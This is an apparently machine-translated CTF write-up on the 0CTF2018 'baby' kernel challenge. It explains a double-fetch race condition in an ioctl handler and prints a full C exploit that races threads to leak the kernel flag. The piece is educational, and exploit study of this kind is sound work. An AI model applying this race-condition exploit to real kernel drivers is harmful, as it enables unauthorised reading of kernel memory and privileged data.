当前位置:网站首页>Getting started with kernel PWN (5)
Getting started with kernel PWN (5)
2022-07-26 06:59:00 【L3H_ CoLin】
Conditional competition
In user mode pwn There is a type of question called conditional competition . When a program needs to access the same piece of memory at different times , If concurrent access is not restricted and checked , It is possible to generate malicious data or execute malicious code . Today I will analyze the conditional competition in kernel state , Assist learning with a classic question .
0CTF2018-baby(double fetch)
Step 1: Analysis program and debugging
By convention , open IDA.
This module has only one function :ioctl. We followed up to its call ioctl_impl Take a look at the function .
ioctl There are only two kinds of instruction codes :0x6666 and 0x1337. When the script is 0x6666 when , Will print out the flag The address of .
When the script is 0x1337 when , It will call _chk_range_not_ok function . It's not difficult to guess at the name , This is a function that checks for out of bounds :
above __CFADD__ The function returns the result of adding two parameters CF Sign a . When two parameters are added to produce a carry at the highest bit CF by 1, Otherwise 0. It's not hard to think of if a1 and a2 Add to produce carry , Then it will definitely lead to cross-border overflow . The third parameter passed in should be the end address of the array , Judge later a1+a2 Is it greater than v4.
go back to ioctl_impl function , Here, it is judged that the third parameter passed in cannot be greater than *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 0x1358) This thing . How much is this thing , Let's write a simple program to call this module to see .
//
// Created by root on 22-7-23.
//
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
void print_binary(char* buf, int length);
// this is a universal function to print binary data from a char* array
void print_binary(char* buf, int length){
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
}
int main(){
int fd = open("/dev/baby", O_RDWR);
int a;
printf("%p\n", main);
scanf("%d", &a);
ioctl(fd, 0x6666);
char b[0x10] = {
0};
ioctl(fd, 0x1337, b);
}
I don't know why , There is no way to directly break the core of this problem , There is no way to put the breakpoint in the user mode program . Tried for a long time , To find a way to debug :
important : Kernel module debugging method :
Start by opening init file , Change the authority to root( It's starting sh The line of gid from 1000 Change to 0), Then start the kernel input lsmod Command to get the loading address of the module . And then we No need to get rid of it. syscall What function of the module is called , Never mind where this function is , Directly place the breakpoint on the output load address . Be careful , The output address is the starting address of the module loading , But it can still play the role of a breakpoint .
/ # lsmod
baby 16384 0 - Live 0xffffffffc02f8000 (OE)
Like the output above , We can directly set the breakpoint at 0xffffffffc02f8000, There is no need to add ioctl The offset of the function , It can also act as a breakpoint .( Close test effectively )
In this way , We successfully debugged the vulnerability module , And then we found it *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 0x1358) What is the value of :0x7ffffffff000. This is the highest address of the user state stack , So as long as we pass in a small address , It's all right .
Go back to disassembly , Notice the first parameter in the first check cmpStr It should be a pointer , The second parameter in the second check should indicate the length of the string , Here is to add the value of the address to the second parameter , So it's not hard to guess . Even if I can't guess , The third check should be very obvious , Check whether the value here is equal to flag The length of .flag The length of is 33. Therefore, the parameter we want to pass in should be the address of a structure , The front of this structure 8 A byte is a char* The pointer , Back 8 Bytes are 33.
After judgment , The incoming string will be checked , If the flag If it is equal, it will output flag. There are loopholes in competitive conditions .
If it's going on if When judging , Our address is the normal user address , When performing the following string comparison , The address was changed to flag It's about , What will happen ? Obviously, the module will use flag To compare itself , This is obviously equal . then flag Can be output . If we use two threads , You can compete with the kernel module for access to the memory of string address . As long as the string address can be successfully modified in this time window , The later inspection can pass . So to put it simply , The competitive condition is “ The work of time ”.
stay C In language , We use pthread_create Function to create a thread , You can let a thread execute a function . For specific parameter call rules, see Information .
So we write exp:
//
// Created by root on 22-7-23.
//
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
typedef struct msg{
char* buffer;
int length;
}msg;
size_t flag_address;
bool success = false;
#define WRITE_TIME 1000
msg m;
pthread_t competition_thread;
void* competition(){
while(!success){
for(int i=0; i<WRITE_TIME; i++)
m.buffer = flag_address;
}
return NULL;
}
int main(){
int fd = open("/dev/baby", O_RDWR);
ioctl(fd, 0x6666);
system("dmesg | grep 'flag' > temp.txt");
int file = open("/temp.txt", O_RDWR);
char context[0x100] = {
0};
read(file, context, 49);
flag_address = strtoull(context + 31, NULL, 16);
close(file);
m.buffer = context;
m.length = 33;
pthread_create(&competition_thread, NULL, competition, NULL);
while(!success){
for(int i=0; i<WRITE_TIME; i++){
m.buffer = context;
ioctl(fd, 0x1337, &m);
}
system("dmesg | grep 'flag' > temp.txt");
file = open("/temp.txt", O_RDWR);
read(file, context, 0x80);
if(strstr(context, "flag{") != NULL)
success = true;
}
printf("%s\n", context);
}
When planning the competition between the two, we need to pay attention to how to write code , We should let the two fully compete , Therefore, the total number of times for both parties to modify this place should not differ too much , Otherwise, it may be difficult to achieve the purpose of competition .
thus it can be seen , The use of competitive conditions in this topic is not very difficult , The difficulty is when we get this question , How can we find the loophole of conditional competition in this problem . The conditional competition of this question belongs to double fetch, Its usual process is : Check that the code first accesses a piece of memory , After confirming that there is no problem with the data, the main operation code accesses the same memory again , Obviously, when this memory is not locked , The space in the middle can be used , This check is also thread unsafe .
边栏推荐
- MySQL Foundation (II) -- MySQL Foundation
- Rust language - slice type (&[u8])
- 20220725 compensator in automatic control principle
- "XXXX" is running, which may cause the system to jam, reduce the standby time, and click Close "
- [hard ten treasures] - 7.2 [dynamic RAM] analysis of the difference between DDR4 and DDR3
- mysql优化之索引及索引失效
- Leetcode question brushing 1: topic classification
- 20000 words will take you from 0 to 1 to build an enterprise level microservice security framework
- Is there any online account opening process of Huatai Securities? Is online account opening safe
- 20220725 自动控制原理中的卷积Convolution
猜你喜欢

What to pay attention to when using German chicks for the first time

XSS labs (1-10) break through details

【硬十宝典】——7.2【动态RAM】DDR4与DDR3区别解析

An album has been released, from introductory practical demonstration to advanced live Q & A, playing with container service so easy~

buuReserve(4)
![[graduation season _ advanced technology Er] farewell to yourself who has been confused for the past two years. Regroup, junior I'm coming](/img/04/3121514fcd8fcf1c939cbca7f4c67a.jpg)
[graduation season _ advanced technology Er] farewell to yourself who has been confused for the past two years. Regroup, junior I'm coming

How does the national standard gb28181 protocol easygbs platform realize device video recording and set streaming IP?

微信小程序 - 从入门到入土

Binary tree knowledge summary

Queue assistant | product update log in June 2022
随机推荐
Shell programming
C#使用log4net插件,输出日志到文件
【Star项目】小帽飞机大战(二)
Rust language - slice type (&[u8])
vulnhub Lampião: 1
buuReserve(4)
20000 words will take you from 0 to 1 to build an enterprise level microservice security framework
字符串和内存函数
Kernel pwn 入门 (5)
How does the national standard gb28181 protocol easygbs platform realize device video recording and set streaming IP?
解决 Chrome 浏览器被毒霸篡改问题
Shared lock
MySQL execution plan
20220725 compensator in automatic control principle
mySql建表的基本操作 与常见的函数
Is there any online account opening process of Huatai Securities? Is online account opening safe
III Actual combat - current time representation and world standard time format
NiO implementation
npm 命令
[hard ten treasures] - 7.2 [dynamic RAM] analysis of the difference between DDR4 and DDR3